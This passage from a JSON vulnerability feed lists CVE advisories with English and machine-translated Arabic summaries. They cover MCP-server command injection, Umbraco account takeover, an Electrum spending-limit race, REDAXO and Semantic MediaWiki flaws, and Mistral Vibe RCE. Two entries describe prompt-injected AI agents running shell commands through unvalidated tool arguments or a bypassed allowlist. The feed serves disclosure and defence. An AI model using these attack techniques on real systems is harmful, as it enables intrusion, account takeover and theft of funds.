ai-sdlc plugin MCP server through 0.31.2 contains an OS command injection vulnerability that allows attackers to execute commands by supplying shell metacharacters in the repo argument. The unvalidated repo value is interpolated into gh issue view or gh pr view commands run via execSync(), letting prompt-injected agents execute commands as the MCP server user.","ar":"يحتوي خادم المكون الإضافي ai-sdlc MCP حتى الإصدار 0.31.2 على ثغرة حقن أوامر نظام التشغيل تسمح للمهاجمين بتنفيذ أوامر عن طريق إدخال رموز صدفة تعريفية في وسطة repo."},"refs":[["https://github.com/ai-sdlc-framework/ai-sdlc/commit/717d7ecf068b714f65955e50fcf5cb4f9a0b5070","patch"],["https://www.vulncheck.com/advisories/ai-sdlc-mcp-server-through-0.31.2-command-injection-via-check-issue-and-check-pr-status","advisory"],["https://github.com/ai-sdlc-framework/ai-sdlc","ref"],["https://github.com/ai-sdlc-framework/ai-sdlc/blob/ai-sdlc-plugin-v0.31.2/ai-sdlc-plugin/mcp-server/src/tools/check-issue.ts#L15-L19","ref"],["https://github.com/ai-sdlc-framework/ai-sdlc/issues/1970","ref"]],"epss":0.0069,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ai-sdlc-framework-ai-sdlc"},{"id":"CVE-2026-117559","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T14:16:37Z","product":"hyperb1iss droidmind","affected":[["0 – 0.4.0",null]],"title":{"en":"DroidMind through 0.4.0 Command Injection via Shell Allowlist Bypass","ar":"DroidMind حتى الإصدار 0.4.0: حقن الأوامر عبر تجاوز قائمة السماح للصدفة"},"summary":{"en":"DroidMind through 0.4.0 contains a command injection vulnerability that allows MCP clients to bypass the shell command allowlist by using $(...) or backtick substitution. Attackers, including prompt-injected agents, can inject commands through parameters interpolated into Device.run_shell() or unvalidated Device.list_directory() to run blocked commands such as reboot on connected Android devices.","ar":"يحتوي DroidMind حتى الإصدار 0.4.0 على ثغرة حقن أوامر تسمح لعملاء MCP بتجاوز قائمة السماح لأوامر الصدفة باستخدام استبدال $(...) أو الفاصلة العكسية."},"refs":[["https://www.vulncheck.com/advisories/droidmind-through-0.4.0-command-injection-via-shell-allowlist-bypass","advisory"],["https://github.com/hyperb1iss/droidmind","ref"],["https://github.com/hyperb1iss/droidmind/blob/v0.4.0/droidmind/security.py#L338-L402","ref"],["https://github.com/hyperb1iss/droidmind/issues/17","ref"]],"epss":0.0069,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hyperb1iss-droidmind"},{"id":"CVE-2026-117553","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-601","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T14:16:35Z","product":"umbraco Umbraco-CMS","affected":[["0 – <17.7.2","17.7.2"],["18.0.0 – <18.2.2","18.2.2"]],"title":{"en":"Umbraco CMS before 17.7.2 and 18.2.2 Account Takeover via Host Header Poisoning","ar":"Umbraco CMS قبل الإصدارين 17.7.2 و 18.2.2: الاستيلاء على الحساب عبر تسميم ترويسة المضيف"},"summary":{"en":"Umbraco CMS before 17.7.2 and 18.2.2 contains an authentication bypass vulnerability that allows unauthenticated attackers to register attacker-controlled OAuth redirect URIs by poisoning the Host header. Attackers send signed-in users authorization links using response_mode=form_post to capture codes, then redeem them via HTTP Basic client credentials to hijack back-office sessions and execute code through Razor templates.","ar":"يحتوي Umbraco CMS قبل 17.7.2 و 18.2.2 على ثغرة تجاوز للمصادقة تسمح للمهاجمين دون مصادقة بتسجيل عناوين URI لإعادة توجيه OAuth المتحكم بها من قبل المهاجم عبر تسميم ترويسة Host."},"refs":[["https://github.com/umbraco/Umbraco-CMS/commit/490b9b27dcbb8fb3fe868a36203590968b0569d6","patch"],["https://github.com/umbraco/Umbraco-CMS/security/advisories/GHSA-rpv9-qp4c-g469","advisory"],["https://www.vulncheck.com/advisories/umbraco-cms-before-17.7.2-and-18.2.2-account-takeover-via-host-header-poisoning","advisory"],["https://github.com/umbraco/Umbraco-CMS","ref"],["https://github.com/umbraco/Umbraco-CMS/blob/release-18.2.1/src/Umbraco.Cms.Api.Management/Middleware/BackOfficeAuthorizationInitializationMiddleware.cs#L74-L112","ref"]],"epss":0.005,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"umbraco-cms"},{"id":"CVE-2026-92546","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-290","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T13:17:02Z","product":"Keepnet Labs Cybersecurity Inc. Agentic AI / Agentic Ally","affected":[["0 – <0ef61f2e","0ef61f2e"]],"title":{"en":"Authentication Bypass with X-Agentic-Ally-Token in Keepnet Labs Agentic AI / Agentic Ally","ar":"ثغرة عالية الخطورة في Keepnet Labs Cybersecurity Inc. Agentic AI / Agentic Ally"},"summary":{"en":"Authentication bypass by spoofing vulnerability in Keepnet Labs Cybersecurity Inc. Agentic AI / Agentic Ally allows Authentication Bypass. This issue affects Agentic AI / Agentic Ally: before 0ef61f2e.","ar":"Authentication bypass by spoofing vulnerability in Keepnet Labs Cybersecurity Inc. Agentic AI / Agentic Ally allows Authentication Bypass. This issue affects Agentic AI / Agentic Ally: before 0ef61f2e."},"refs":[["https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-1408","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"keepnet-labs-cybersecurity-inc-agentic-ai-agentic-ally"},{"id":"CVE-2026-100164","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-204","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T13:16:54Z","product":"Rolantis Information Technologies Tourism Industry and Trad… Agentis","affected":[["0 – <4.8","4.8"]],"title":{"en":"User Enumeration in Rolantis Information Technologies' Agentis","ar":"ثغرة عالية الخطورة في Rolantis Information Technologies Tourism Industry and Trad… Agentis"},"summary":{"en":"Observable response discrepancy vulnerability in Rolantis Information Technologies Tourism Industry and Trade Co. Ltd. Agentis allows Account Footprinting. This issue affects Agentis: before 4.8.","ar":"Observable response discrepancy vulnerability in Rolantis Information Technologies Tourism Industry and Trade Co. Ltd. Agentis allows Account Footprinting. This issue affects Agentis: before 4.8."},"refs":[["https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-1406","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"rolantis-information-technologies-tourism-industry-and-trad"},{"id":"CVE-2026-117603","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-367","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T13:09:52Z","product":"spesmilo electrum","affected":[["0 – <4.7.2","4.7.2"]],"title":{"en":"Electrum before 4.7.2 Nostr Wallet Connect Plugin Daily Spending Limit Bypass","ar":"تجاوز حد الإنفاق اليومي للإضافة Nostr Wallet Connect في Electrum قبل الإصدار 4.7.2"},"summary":{"en":"Electrum before 4.7.2 contains a spending limit bypass vulnerability in the Nostr Wallet Connect plugin that allows malicious NWC clients to exceed daily_limit_sat by exploiting non-atomic budget checks and millisatoshi truncation. Attackers can send concurrent pay_invoice requests that pass budget_allows_spend() before add_to_budget() runs, or repeatedly pay msat amounts that are floored to whole satoshis, to drain funds beyond the limit.","ar":"يحتوي الإصدار ما قبل 4.7.2 من Electrum على ثغرة تجاوز حد الإنفاق في الإضافة Nostr Wallet Connect والتي تسمح لعملاء NWC الخبيثين بتجاوز daily_limit_sat عبر استغلال عمليات التحقق من الميزانية غير الذرية واقتطاع الميلي ساتوشي. يمكن للمهاجمين إرسال طلبات pay_invoice متزامنة تجتاز الدالة budget_allows_spend() قبل تشغيل الدالة add_to_budget()، أو الدفع بشكل متكرر بمبالغ msat التي تتم تسويتها إلى ساتوشي كاملة، لاستنزاف الأموال بما يتجاوز الحد."},"refs":[["https://github.com/spesmilo/electrum/commit/5222374046d2a92da371d46c79ce0e61e7e2a42d","patch"],["https://github.com/spesmilo/electrum/commit/3956bff0684f6060fbe8c823c3ee921928cdcaa5","patch"],["https://github.com/spesmilo/electrum/security/advisories/GHSA-q7m2-785w-r585","advisory"],["https://www.vulncheck.com/advisories/electrum-before-4.7.2-nostr-wallet-connect-plugin-daily-spending-limit-bypass","advisory"]],"epss":0.0019,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"spesmilo-electrum"},{"id":"CVE-2026-117536","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-352","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T11:17:34Z","product":"redaxo core","affected":[["0 – <5.21.3","5.21.3"]],"title":{"en":"REDAXO before 5.21.3 CSRF Token Bypass via users/users Privilege Escalation","ar":"ثغرة CSRF في redaxo core"},"summary":{"en":"REDAXO before 5.21.3 contains a cross-site request forgery vulnerability in the backend user administration page (users/users) because the CSRF token check only runs when the save parameter is set, while the update path triggered by FUNC_UPDATE does not require it. Attackers can lure a logged-in backend user with the users[] permission to a crafted GET link to grant administrator rights, deactivate accounts, or lock out the sole administrator.","ar":"REDAXO before 5.21.3 contains a cross-site request forgery vulnerability in the backend user administration page (users/users) because the CSRF token check only runs when the save parameter is set, while the update path triggered by FUNC_UPDATE does not require it. Attackers can lure a logged-in backend user with the users[] permission to a crafted GET link to grant administrator rights, deactivate accounts, or lock out the sole administrator."},"refs":[["https://github.com/redaxo/core/security/advisories/GHSA-mrrj-4f5x-j958","advisory"],["https://www.vulncheck.com/advisories/redaxo-before-5.21.3-csrf-token-bypass-via-users-users-privilege-escalation","advisory"]],"epss":0.0014,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"redaxo-core"},{"id":"CVE-2026-117540","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-407","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T11:17:34Z","product":"darylldoyle svg-sanitizer","affected":[["0.5.3 – <1.1.0","1.1.0"]],"title":{"en":"svg-sanitizer before 1.1.0 Quadratic CPU-Exhaustion DoS via PHP-Tag Stripping Loop","ar":"ثغرة عالية الخطورة في darylldoyle svg-sanitizer"},"summary":{"en":"svg-sanitizer from 0.5.3 before 1.1.0 contains a denial of service vulnerability in Sanitizer::sanitize() that repeatedly rescans the whole input while stripping PHP tags. Unauthenticated attackers can upload SVGs with many overlapping PHP tag openers and closers, forcing quadratic preg_replace passes that exhaust worker CPU for minutes.","ar":"svg-sanitizer from 0.5.3 before 1.1.0 contains a denial of service vulnerability in Sanitizer::sanitize() that repeatedly rescans the whole input while stripping PHP tags. Unauthenticated attackers can upload SVGs with many overlapping PHP tag openers and closers, forcing quadratic preg_replace passes that exhaust worker CPU for minutes."},"refs":[["https://github.com/darylldoyle/svg-sanitizer/commit/9ba9001493f5da737759303f13bd965ebdaa778c","patch"],["https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-2v7c-jx29-jprp","advisory"],["https://www.vulncheck.com/advisories/svg-sanitizer-before-1.1.0-quadratic-cpu-exhaustion-dos-via-php-tag-stripping-loop","advisory"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"darylldoyle-svg-sanitizer"},{"id":"CVE-2026-117532","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T11:17:33Z","product":"redaxo core","affected":[["5.3.0 – <5.21.4","5.21.4"]],"title":{"en":"REDAXO Core 5.3.0 before 5.21.4 Authentication Bypass via History Plugin","ar":"تجاوز المصادقة في REDAXO Core 5.3.0 قبل الإصدار 5.21.4 عبر ملحق التاريخ"},"summary":{"en":"REDAXO core from 5.3.0 before 5.21.4 contains an authentication bypass vulnerability in the structure/history plugin that allows unauthenticated attackers to forge temporary login tokens. Attackers can force the session-tied secret into a predictable state and forge tokens for accounts like admin, gaining backend access and code execution outside live mode.","ar":"يحتوي الإصدار الأساسي من REDAXO من 5.3.0 قبل 5.21.4 على ثغرة تجاوز المصادقة في ملحق structure/history والتي تتيح للمهاجمين دون مصادقة تزوير رموز تسجيل دخول مؤقتة. يمكن للمهاجمين فرض حالة قابلة للتنبؤ على السر المرتبط بالجلسة وتزوير رموز لحسابات مثل admin، مما يتيح الوصول إلى لوحة الخلفية وتنفيذ الشيفرات خارج وضع التشغيل الحي."},"refs":[["https://github.com/redaxo/core/security/advisories/GHSA-px8f-whj8-hrpq","advisory"],["https://www.vulncheck.com/advisories/redaxo-core-5.3.0-before-5.21.4-authentication-bypass-via-history-plugin","advisory"]],"epss":0.0068,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"redaxo-core"},{"id":"CVE-2026-116896","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T11:17:32Z","product":"redaxo core","affected":[["0 – <5.21.5","5.21.5"]],"title":{"en":"REDAXO before 5.21.5 Privilege Escalation via Backup Export of Authentication Tables","ar":"تصعيد الصلاحيات في REDAXO قبل الإصدار 5.21.5 عبر تصدير النسخ الاحتياطي لجداول المصادقة"},"summary":{"en":"REDAXO before 5.21.5 contains a missing authorization vulnerability in the backup addon export that accepts any database table, allowing non-admin users with the backup[export] permission to export rex_user, rex_user_session, and other applications' tables. Attackers can obtain plaintext session ids and stay-logged-in keys to take over admin accounts, or password hashes for offline cracking.","ar":"يحتوي REDAXO قبل الإصدار 5.21.5 على ثغرة غياب التفويض في عملية تصدير ملحق النسخ الاحتياطي والتي تقبل أي جدول قاعدة بيانات، مما يسمح للمستخدمين من غير المشرفين الذين يملكون إذن backup[export] بتصدير rex_user وrex_user_session وجداول التطبيقات الأخرى. يمكن للمهاجمين الحصول على معرفات جلسات بنص واضح ومفاتيح البقاء مسجل الدخول السيطرة على حسابات المشرفين، أو الحصول على تجزئات كلمات المرور لكسرها دون اتصال."},"refs":[["https://github.com/redaxo/core/security/advisories/GHSA-phjc-vx3j-58r3","advisory"],["https://www.vulncheck.com/advisories/redaxo-before-5.21.5-privilege-escalation-via-backup-export-of-authentication-tables","advisory"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"redaxo-core"},{"id":"CVE-2026-116890","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T11:17:31Z","product":"Semantic-mediawiki Semantic Mediawiki","affected":[["3.0.0 – <7.3.0","7.3.0"]],"title":{"en":"Semantic MediaWiki from 3.0.0 before 7.3.0 contains a missing authorization vulnerability in the api.php smwtask module that allows unauthenticated at","ar":"Semantic MediaWiki من الإصدار 3.0.0 وقبل 7.3.0 يحتوي على ثغرة غياب التفويض في وحدة api.php smwtask والتي تتيح للمهاجمين دون المصادقة"},"summary":{"en":"Semantic MediaWiki from 3.0.0 before 7.3.0 contains a missing authorization vulnerability in the api.php smwtask module that allows unauthenticated attackers to run admin-only maintenance tasks. Attackers can use the public anonymous CSRF token to read internal store statistics, enqueue jobs like smw.entityIdDisposer, and execute queued jobs, degrading performance and altering semantic data.","ar":"يحتوي Semantic MediaWiki من الإصدار 3.0.0 وقبل 7.3.0 على ثغرة غياب التفويض في وحدة api.php smwtask والتي تتيح للمهاجمين دون المصادقة تشغيل مهام الصيانة المخصصة للمدير فقط. يمكن للمهاجمين استخدام رمز CSRF المجهول العام لقراءة إحصائيات التخزين الداخلية، ووضع مهام في قائمة الانتظار مثل smw.entityIdDisposer، وتنفيذ المهام الموجودة في قائمة الانتظار، مما يؤدي إلى تدهور الأداء وتغيير البيانات الدلالية."},"refs":[["https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-jr78-w6w5-m8f8","advisory"],["https://www.vulncheck.com/advisories/semantic-mediawiki-3.0.0-before-7.3.0-missing-authorization-via-smwtask-api","advisory"]],"epss":0.0019,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"semantic-mediawiki-semantic-mediawiki"},{"id":"CVE-2026-116880","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H","cwe":"CWE-352","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T11:17:30Z","product":"SemanticMediaWiki SemanticMediaWiki","affected":[["3.0.0 – <7.3.1","7.3.1"]],"title":{"en":"Semantic MediaWiki 3.0.0 before 7.3.1 CSRF via Special:SMWAdmin Maintenance Actions","ar":"تزوير الطلبات عبر المواقع (CSRF) في Semantic MediaWiki 3.0.0 قبل الإصدار 7.3.1 عبر إجراءات الصيانة Special:SMWAdmin"},"summary":{"en":"Semantic MediaWiki from 3.0.0 before 7.3.1 contains a cross-site request forgery vulnerability in Special:SMWAdmin because it overwrites the wpEditToken with a freshly generated valid token. Attackers can lure an authenticated smw-admin user to a malicious page that triggers schema setup, entity-disposal, or job actions, causing semantic data loss and resource exhaustion.","ar":"يحتوي Semantic MediaWiki من 3.0.0 قبل 7.3.1 على ثغرة تزوير الطلبات عبر المواقع (CSRF) في Special:SMWAdmin لأنه يستبدل wpEditToken برمز صالح تم توليده حديثًا. يمكن للمهاجمين استدراج مستخدم مشرف مصادق عليه في smw-admin إلى صفحة خبيثة تؤدي إلى إعداد المخطط، أو التخلص من الكيانات، أو إجراءات الوظائف، مما يتسبب في فقدان البيانات الدلالية واستنفاد الموارد."},"refs":[["https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-7f7v-2qf4-gfq3","advisory"],["https://www.vulncheck.com/advisories/semantic-mediawiki-3.0.0-before-7.3.1-csrf-via-special-smwadmin-maintenance-actions","advisory"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"semanticmediawiki"},{"id":"CVE-2026-116873","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T11:17:29Z","product":"SemanticMediaWiki SemanticMediaWiki","affected":[["7.3.0 – <7.3.1","7.3.1"]],"title":{"en":"Semantic MediaWiki 7.3.0 Missing Authorization via smwtask API run-joblist and update","ar":"غیاب التفويض في Semantic MediaWiki 7.3.0 عبر واجهة برمجة التطبيقات smwtask لتشغيل قائمة الوظائف والتحديث"},"summary":{"en":"Semantic MediaWiki from 7.3.0 before 7.3.1 contains a missing authorization vulnerability in the smwtask API module that allows unauthenticated attackers to run queued jobs and force store updates. Attackers can use the public anonymous CSRF token with run-joblist to execute arbitrary job types in unbounded counts, or invoke update on sysop-protected pages, leaking page titles and exhausting resources.","ar":"يحتوي Semantic MediaWiki من 7.3.0 قبل 7.3.1 على ثغرة غياب التفويض في وحدة واجهة برمجة التطبيقات smwtask والتي تسمح للمهاجمين دون مصادقة بتشغيل الوظائف في قائمة الانتظار وفرض تحديثات التخزين. يمكن للمهاجمين استخدام رمز تزوير الطلبات عبر المواقع (CSRF) العام المجهول مع run-joblist لتنفيذ أنواع وظائف عشوائية بأعداد غير محددة، أو استدعاء التحديث على الصفحات المحمية للمشرفين، مما يؤدي إلى تسريب عناوين الصفحات واستنفاد الموارد."},"refs":[["https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-rjqv-6r83-pg8v","advisory"],["https://www.vulncheck.com/advisories/semantic-mediawiki-7.3.0-missing-authorization-via-smwtask-api-run-joblist-and-update","advisory"]],"epss":0.0019,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"semanticmediawiki"},{"id":"CVE-2026-116876","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T11:17:29Z","product":"SemanticMediaWiki SemanticMediaWiki","affected":[["2.5.0 – <7.3.1","7.3.1"]],"title":{"en":"Semantic MediaWiki 2.5.0 before 7.3.1 Missing Authorization via Is edit protected","ar":"غياب التفويض في Semantic MediaWiki 2.5.0 قبل الإصدار 7.3.1 عبر تعليق الحماية ضد التعديل"},"summary":{"en":"Semantic MediaWiki from 2.5.0 before 7.3.1 contains an improper authorization vulnerability that allows ordinary editors to permanently protect pages by adding an Is edit protected annotation. When $smwgEditProtectionRight is enabled, EditProtectionUpdater applies indefinite edit and move restrictions without checking the author's rights, locking other editors and administrators out.","ar":"يحتوي Semantic MediaWiki من 2.5.0 قبل 7.3.1 على ثغرة تفويض غير سليمة تسمح للمحررين العاديين بحماية الصفحات بشكل دائم عن طريق إضافة تعليق Is edit protected. عندما يتم تمكين $smwgEditProtectionRight، يقوم EditProtectionUpdater تطبيق قيود تعديل ونقل غير محددة المدة دون التحقق من صلاحيات المؤلف، مما يحرم المححررين الآخرين والمشرفين من الوصول."},"refs":[["https://github.com/SemanticMediaWiki/SemanticMediaWiki/commit/d2a198f42184373bb8604450c46a13a2c28eafa3","patch"],["https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-9824-67pm-c29j","advisory"],["https://www.vulncheck.com/advisories/semantic-mediawiki-2.5.0-before-7.3.1-missing-authorization-via-is-edit-protected","advisory"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"semanticmediawiki"},{"id":"CVE-2026-116871","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-674","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T11:17:28Z","product":"SemanticMediaWiki SemanticMediaWiki","affected":[["3.0.0 – <7.3.1","7.3.1"]],"title":{"en":"Semantic MediaWiki 3.0.0 before 7.3.1 Uncontrolled Recursion via Special:Ask","ar":"تكرار غير مدمج في Semantic MediaWiki 3.0.0 قبل الإصدار 7.3.1 عبر Special:Ask"},"summary":{"en":"Semantic MediaWiki 3.0.0 before 7.3.1 contains an uncontrolled recursion vulnerability in LegacyParser::getSubqueryDescription() that processes nested query tokens before depth limits apply. Unauthenticated attackers can submit deeply nested query elements to the action=ask API to consume substantial CPU and memory, tying up request workers.","ar":"يحتوي Semantic MediaWiki 3.0.0 قبل 7.3.1 على ثغرة تكرار غير مدمج في LegacyParser::getSubqueryDescription() التي تعالج رموز الاستعلام المتداخلة قبل تطبيق حدود العمق. يمكن للمهاجمين دون مصادقة إرسال عناصر استعلام متداخلة بعمق إلى واجهة برمجة التطبيقات action=ask لاستهلاك وحدة المعالجة المركزية والذاكرة بشكل كبير، مما يؤدي إلى إشغال عمال الطلبات."},"refs":[["https://github.com/SemanticMediaWiki/SemanticMediaWiki/commit/756492002752f937a9e115e14330b1181bd8c60c","patch"],["https://github.com/SemanticMediaWiki/SemanticMediaWiki/commit/e642f38c708dee7da5e885b8d40be8ffc56f3e87","patch"],["https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-f8vw-wvm6-h2qq","advisory"],["https://www.vulncheck.com/advisories/semantic-mediawiki-3.0.0-before-7.3.1-uncontrolled-recursion-via-special-ask","advisory"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"semanticmediawiki"},{"id":"CVE-2026-116872","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-407","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T11:17:28Z","product":"SemanticMediaWiki SemanticMediaWiki","affected":[["3.0.0 – <7.3.1","7.3.1"]],"title":{"en":"Semantic MediaWiki 3.0.0 before 7.3.1 Denial of Service via Special:Search Compact Filters","ar":"حجب الخدمة في Semantic MediaWiki 3.0.0 قبل الإصدار 7.3.1 عبر عوامل التصفية المدمجة Special:Search"},"summary":{"en":"Semantic MediaWiki from 3.0.0 before 7.3.1 contains an algorithmic complexity vulnerability in TermParser::normalize_compact_form() that allows unauthenticated attackers to cause quadratic CPU consumption. Attackers can submit long search terms with many distinct in:(...) or has:(...) expressions to Special:Search to exhaust PHP search workers when the extended search engine is enabled.","ar":"يحتوي Semantic MediaWiki من 3.0.0 قبل 7.3.1 على ثغرة تعقيد خوارزمي في TermParser::normalize_compact_form() والتي تسمح للمهاجمين دون مصادقة بالتسبب في استهلاك تربيعي لوحدة المعالجة المركزية. يمكن للمهاجمين إرسال مصطلحات بحث طويلة مع تعبيرات in:(...) أو has:(...) مميزة متعددة إلى Special:Search لاستنفاد عمال بحث PHP عند تمكين محرك البحث الموسع."},"refs":[["https://github.com/SemanticMediaWiki/SemanticMediaWiki/commit/c2bf1699dec4016e21ce52613152bda799ce87d4","patch"],["https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-j2r2-7qpg-p675","advisory"],["https://www.vulncheck.com/advisories/semantic-mediawiki-3.0.0-before-7.3.1-denial-of-service-via-special-search-compact-filters","advisory"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"semanticmediawiki"},{"id":"CVE-2026-116843","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-829","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T01:19:07Z","product":"mistralai mistral-vibe","affected":[["0 – <3.0.3","3.0.3"]],"title":{"en":"Mistral Vibe before 3.0.3 RCE via Git Filter Drivers in Worktree Mode","ar":"تنفيذ أوامر عن بُعد في Mistral Vibe قبل الإصدار 3.0.3 عبر برامج تصفية Git في وضع شجرة العمل"},"summary":{"en":"Mistral Vibe before 3.0.3 contains a remote code execution vulnerability that allows attackers to run commands by defining git filter drivers in an untrusted repository's .git/config. When started with --worktree, git worktree add applies .gitattributes and runs filter smudge, clean, or process commands before the trusted-folder check, executing attacker commands with user privileges.","ar":"يحتوي Mistral Vibe قبل الإصدار 3.0.3 على ثغرة تنفيذ أوامر عن بُعد تتيح للمهاجمين تشغيل الأوامر عن طريق تحديد برامج تصفية git في ملف .git/config الخاص بمستودع غير موثوق به. عند البدء باستخدام --worktree، يقوم git worktree add بتطبيق .gitattributes وتشغيل أوامر التصفية smudge أو clean أو process قبل التحقق من المجلد الموثوق، مما يؤدي إلى تنفيذ أوامر المهاجم بصلاحيات المستخدم."},"refs":[["https://github.com/mistralai/mistral-vibe/commit/7bb48f213ac677f943d5c791199ed3dddf302f00","patch"],["https://www.vulncheck.com/advisories/mistral-vibe-before-3.0.3-rce-via-git-filter-drivers-in-worktree-mode","advisory"],["https://github.com/mistralai/mistral-vibe/blob/v2.24.1/vibe/core/worktree.py#L303-L317","ref"],["https://github.com/mistralai/mistral-vibe/issues/997","ref"],["https://github.com/mistralai/mistral-vibe/releases/tag/v3.0.3","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mistralai-mistral-vibe"},{"id":"CVE-2026-116623","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T01:19:06Z","product":"code-projects Simple Content Management System","affected":[["1.0",null]],"title":{"en":"code-projects Simple Content Management System Admin welcome.php authorization","ar":"تفويض welcome.php المشرف في نظام إدارة المحتوى البسيط code-projects"},"summary":{"en":"A vulnerability was detected in code-projects Simple Content Management System 1.0. Impacted is an unknown function of the file /web/admin/welcome.php of the component Admin Interface. The manipulation of the argument addnews results in missing authorization. The attack can be launched remotely. The exploit is now public and may be used.","ar":"تم اكتشاف ثغرة في Simple Content Management System 1.0 من code-projects. تتأثر وظيفة غير معروفة في الملف /web/admin/welcome.php الخاص بمكون واجهة المشرف. يؤدي التلاعب بالوسيط addnews إلى غياب التفويض. يمكن شن الهجوم عن بُعد، والاستغلال متاح الآن للعامة وقد يتم 